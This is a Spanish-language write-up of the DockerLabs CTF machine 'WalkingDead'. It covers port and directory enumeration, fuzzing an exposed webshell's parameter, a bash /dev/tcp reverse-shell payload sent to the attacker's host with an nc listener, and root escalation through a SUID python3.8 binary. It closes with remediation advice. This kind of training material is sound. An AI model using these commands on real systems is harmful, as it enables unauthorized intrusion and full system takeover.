WalkingDead
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina WalkingDead, desarrollada por JuanR para la plataforma DockerLabs y catalogada con un nivel de dificultad fácil. A lo largo del análisis se siguen etapas bien definidas, abordando desde el reconocimiento inicial hasta la escalada de privilegios, con el fin de comprender de forma clara la lógica de explotación y las vulnerabilidades presentes.
Los objetivos principales de este write-up son:
- Identificar los vectores de ataque accesibles desde el entorno inicial.
- Analizar los servicios expuestos y los archivos disponibles públicamente.
- Obtener acceso inicial mediante la explotación de una vulnerabilidad de inclusión de archivos y ejecución remota de comandos.
- Acceder al sistema como www-data y posteriormente escalar privilegios mediante la identificación de binarios con permisos SUID.
La metodología se organiza en tres fases principales:
- Reconocimiento: Enumeración de servicios, estructura de la web y posibles rutas ocultas.
- Explotación: Validación de vulnerabilidades, búsqueda de parámetros, ejecución remota de comandos y obtención de una reverse shell.
- Escalada de privilegios: Identificación y abuso de binarios SUID para obtener acceso root.
Todos los procedimientos se realizaron dentro del entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | WalkingDead |
| Autor | JuanR |
| Dificultad | Fácil |
| Fecha | 13/02/2025 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Primero se descomprime el archivo de la máquina:
unzip "WalkingDead.zip"Posteriormente se inicia el contenedor correspondiente:
sudo bash auto_deploy.sh "WalkingDead.tar"El script devuelve la IP asignada, la cual será utilizada durante todas las fases del análisis.

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno de trabajo
Sección titulada «1.1 Organización del entorno de trabajo»Se estructura un directorio específico para mantener los recursos ordenados y facilitar la gestión del proceso:
mkdir -p WalkingDead/{content,exploits,nmap,gobuster,scripts}cd WalkingDead1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Se realiza un escaneo completo con Nmap para identificar puertos abiertos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos detectados:
- 22/tcp — SSH
- 80/tcp — HTTP

1.3 Enumeración Web (HTTP - puerto 80)
Sección titulada «1.3 Enumeración Web (HTTP - puerto 80)»Se realiza una enumeración de directorios utilizando Gobuster:
gobuster dir \ -u http://172.18.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js \ -t 200
Entre los resultados relevantes se encuentran:
- /index.html — Página principal del CTF.

- /backup.txt — Archivo que indica permisos restringidos.
- /hidden — Directorio oculto que no responde directamente al acceder.
Analizando el código fuente de la página principal se identifica un enlace oculto hacia un archivo ejecutable dentro del directorio /hidden/.shell.php, lo cual sugiere la posible existencia de una webshell.

Paso 2 — Explotación (Acceso Inicial)
Sección titulada «Paso 2 — Explotación (Acceso Inicial)»Dado que se detectó un posible archivo .shell.php, el siguiente paso consiste en determinar el parámetro utilizado para ejecutar comandos. Esto se realiza mediante fuzzing con ffuf:
ffuf -u "http://172.17.0.2/hidden/.shell.php?FUZZ=id" \ -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \ -fs 0
La herramienta identifica el parámetro cmd, confirmando la presencia de una webshell funcional.
Probando la ejecución remota de comandos:
http://172.17.0.2/hidden/.shell.php?cmd=id
Una vez verificada la ejecución de comandos, se procede a obtener una reverse shell. Para ello:
-
Se inicia un listener en Kali:
Ventana de terminal nc -nlvp 443 -
Se ejecuta la siguiente payload mediante la webshell:
http://172.17.0.2/hidden/.shell.php?cmd=bash -c 'bash -i >%26 /dev/tcp/172.17.0.1/443 0>%261'
Esto establece una conexión inversa hacia nuestro equipo, obteniendo acceso como el usuario www-data.

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De WWW-DATA → ROOT
Sección titulada «3.1 De WWW-DATA → ROOT»Aunque el comando:
sudo -lno revela permisos especiales, es posible encontrar binarios con el bit SUID activado, lo que permite ejecutarlos con privilegios elevados:
find / -perm -4000 2>/dev/null
Entre los binarios encontrados destaca:
/usr/bin/python3.8Python es un binario particularmente útil para escaladas de privilegios gracias a su capacidad de ejecutar llamadas al sistema. Para obtener una shell con privilegios:
/usr/bin/python3.8 -c 'import os; os.execl("/bin/bash", "bash", "-p")'Esto proporciona acceso como root:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Presencia de archivos ocultos ejecutables expuestos públicamente.
- Falta de validación de parámetros, permitiendo ejecución remota de comandos (RCE).
- Configuración insegura en directorios accesibles desde la web.
- Binarios SUID innecesarios, específicamente Python3.8, permitiendo escalada directa a root.
Recomendaciones
Sección titulada «Recomendaciones»- Eliminar archivos innecesarios o sensibles del entorno de producción.
- Implementar validación estricta de parámetros en aplicaciones web.
- Configurar adecuadamente permisos de archivos y directorios.
- Evitar mantener binarios SUID que no sean estrictamente necesarios para el funcionamiento del sistema.
- Aplicar monitoreo y hardening del servidor para prevenir RCE y accesos no autorizados.